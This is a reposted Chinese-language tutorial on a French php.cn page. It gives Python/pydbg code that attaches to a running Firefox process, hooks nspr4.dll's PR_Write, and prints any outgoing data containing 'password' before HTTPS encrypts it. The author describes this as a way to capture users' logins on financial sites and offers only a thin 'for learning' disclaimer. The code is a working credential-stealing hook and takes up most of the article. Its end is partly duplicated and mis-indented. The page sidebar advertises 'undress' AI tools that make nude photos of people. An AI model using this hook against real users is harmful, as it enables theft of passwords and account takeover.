Maison développement back-end Tutoriel Python python利用hook技术破解https的实例代码

python利用hook技术破解https的实例代码

Jun 06, 2016 am 11:27 AM
hook https

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

代码如下:


#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 寻找firefox.exe的进程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的内容,包括他的pid,地址,嗅探类型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.bitsCN.com/414605/518679

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Repo: Comment relancer ses coéquipiers
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: Comment obtenir des graines géantes
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
Combien de temps faut-il pour battre Split Fiction?
3 Il y a quelques semaines By DDD

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Comment utiliser Nginx Proxy Manager pour implémenter le saut automatique de HTTP à HTTPS Comment utiliser Nginx Proxy Manager pour implémenter le saut automatique de HTTP à HTTPS Sep 26, 2023 am 11:19 AM

Comment utiliser NginxProxyManager pour implémenter le saut automatique de HTTP à HTTPS Avec le développement d'Internet, de plus en plus de sites Web commencent à utiliser le protocole HTTPS pour crypter la transmission des données afin d'améliorer la sécurité des données et la protection de la vie privée des utilisateurs. Le protocole HTTPS nécessitant la prise en charge d'un certificat SSL, un certain support technique est requis lors du déploiement du protocole HTTPS. Nginx est un serveur HTTP et un serveur proxy inverse puissants et couramment utilisés, et NginxProxy

Comment utiliser Nginx Proxy Manager pour implémenter un proxy inverse sous le protocole HTTPS Comment utiliser Nginx Proxy Manager pour implémenter un proxy inverse sous le protocole HTTPS Sep 26, 2023 am 08:40 AM

Comment utiliser NginxProxyManager pour implémenter un proxy inverse sous protocole HTTPS Ces dernières années, avec la popularité d'Internet et la diversification des scénarios d'application, les méthodes d'accès aux sites Web et aux applications sont devenues de plus en plus complexes. Afin d'améliorer l'efficacité et la sécurité de l'accès aux sites Web, de nombreux sites Web ont commencé à utiliser des proxys inverses pour traiter les demandes des utilisateurs. Le proxy inverse du protocole HTTPS joue un rôle important dans la protection de la confidentialité des utilisateurs et dans la sécurité des communications. Cet article expliquera comment utiliser NginxProxy

Nginx avec SSL : configurez HTTPS pour protéger votre serveur Web Nginx avec SSL : configurez HTTPS pour protéger votre serveur Web Jun 09, 2023 pm 09:24 PM

Nginx est un logiciel de serveur Web hautes performances et un puissant serveur proxy inverse et équilibreur de charge. Avec le développement rapide d'Internet, de plus en plus de sites Web commencent à utiliser le protocole SSL pour protéger les données sensibles des utilisateurs, et Nginx fournit également un puissant support SSL, améliorant encore les performances de sécurité du serveur Web. Cet article explique comment configurer Nginx pour prendre en charge le protocole SSL et protéger les performances de sécurité du serveur Web. Qu'est-ce que le protocole SSL ? SSL (SecureSocket

À quoi ressemble le flux de travail https ? À quoi ressemble le flux de travail https ? Apr 07, 2024 am 09:27 AM

Le flux de travail https comprend des étapes telles que la demande initiée par le client, la réponse du serveur, la prise de contact SSL/TLS, la transmission de données et le rendu côté client. Grâce à ces étapes, la sécurité et l'intégrité des données pendant la transmission peuvent être garanties.

Comment le hook vue3 reconstruit le composant conteneur plein écran de DataV Comment le hook vue3 reconstruit le composant conteneur plein écran de DataV May 16, 2023 pm 02:43 PM

Implémentez la création du composant fullScreenContainer.vueimport{useAutoResize}from'@/hooks/useAutoResize' const{autoBindRef}=useAutoResize(), personnalisez un hook et exportez un fichier de hook personnalisé de référence de liaison autoBindRef useAutoResize.tsimport{ref}from' vue' ;exportfunctionuseAutoResize(){l

Comment le pare-feu Nginx garantit une communication sécurisée HTTPS Comment le pare-feu Nginx garantit une communication sécurisée HTTPS Jun 10, 2023 am 10:16 AM

À l’ère d’Internet d’aujourd’hui, la communication sécurisée est devenue un élément indispensable. En particulier dans la communication HTTPS, la manière d'assurer sa sécurité est particulièrement importante. En tant que serveur Web et serveur proxy inverse populaire, le pare-feu de Nginx peut également jouer un rôle important en garantissant une communication sécurisée HTTPS. Cet article abordera le pare-feu Nginx sous les aspects suivants. Cryptage TLS/SSL La garantie de sécurité de la communication HTTPS repose principalement sur la technologie de cryptage TLS/SSL, qui peut empêcher la transmission des données pendant la transmission.

Comment utiliser Nginx pour implémenter l'authentification bidirectionnelle HTTPS Comment utiliser Nginx pour implémenter l'authentification bidirectionnelle HTTPS Jun 03, 2023 pm 08:38 PM

La différence entre la vérification unidirectionnelle et la vérification bidirectionnelle : Vérification unidirectionnelle : fait référence au client qui vérifie le certificat côté serveur, et le serveur n'a pas besoin de vérifier le certificat client. Vérification bidirectionnelle : fait référence au client qui vérifie le certificat côté serveur, et le serveur doit également vérifier le certificat client via le certificat de clé publique de l'autorité de certification. Processus détaillé de prise de contact : authentification unidirectionnelle Le navigateur envoie une demande de connexion au serveur de sécurité. 1. Le serveur envoie son propre certificat et les informations relatives au certificat au navigateur client. 2. Le navigateur client vérifie si le certificat envoyé par le serveur est émis par le centre d'autorité de certification auquel il fait confiance. Si c'est le cas, continuez à exécuter l'accord ; sinon, le navigateur du client donnera au client un message d'avertissement : avertissant le client que ce certificat n'est pas digne de confiance et lui demandant s'il doit continuer. 3. Récupérez les clients

Comment configurer https dans Tomcat Comment configurer https dans Tomcat Jan 05, 2024 pm 05:15 PM

Étapes de configuration : 1. Obtenez le certificat SSL ; 2. Configurez le certificat SSL ; 3. Modifiez le fichier de configuration Tomcat ; Introduction détaillée : 1. Vous devez obtenir un certificat SSL, soit un certificat auto-signé, soit un certificat SSL valide auprès d'une agence de certification (telle que Let's Encrypt) 2. Placez le certificat SSL obtenu et les fichiers de clé privée sur le serveur et assurez-vous que ces fichiers sont situés dans un emplacement sûr, seuls les utilisateurs disposant d'autorisations suffisantes peuvent y accéder ; 3. Modifier les fichiers de configuration Tomcat, etc.

See all articles